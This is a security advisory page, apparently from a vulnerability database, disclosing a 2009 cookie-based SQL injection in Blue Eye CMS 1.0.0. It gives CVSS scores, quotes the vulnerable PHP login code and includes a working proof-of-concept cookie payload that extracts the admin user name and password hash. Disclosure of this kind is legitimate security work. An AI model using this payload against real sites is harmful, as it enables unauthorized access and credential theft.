Blue Eye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability

2009-03-17 / 2009-03-18
Credit: ka0x
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# # BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability # found by ka0x <ka0x01[alt+64]gmail.com> # Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar need magic_quotes_gpc = Off - Vuln code: 10: if (!empty($_COOKIE["BlueEyeCMS_login"])) { // --> Only?? 11: $c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean?? 12: $c_pass = $_COOKIE["BlueEyeCMS_pass"]; 13: $c_key = $_COOKIE["BlueEyeCMS_key"]; .... 16: $table = $db_prefix."users"; 17: $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN 18: $rows = mysql_num_rows($query); -> num rows of the query 19: $result = mysql_fetch_array($query); .... 21: if ($rows == 1) { // -> check if exists one row.. 22: $logged = $c_login; 23: $logged_id = $result['id']; 24: } .... 204: <img src=\"themes/".$theme."/images/dots.png\">&nbsp;&nbsp;Logged as: ".$logged." (ID: ".$logged_id.")<br> - Proof Of Concept: javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/"; # -EoF- #


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top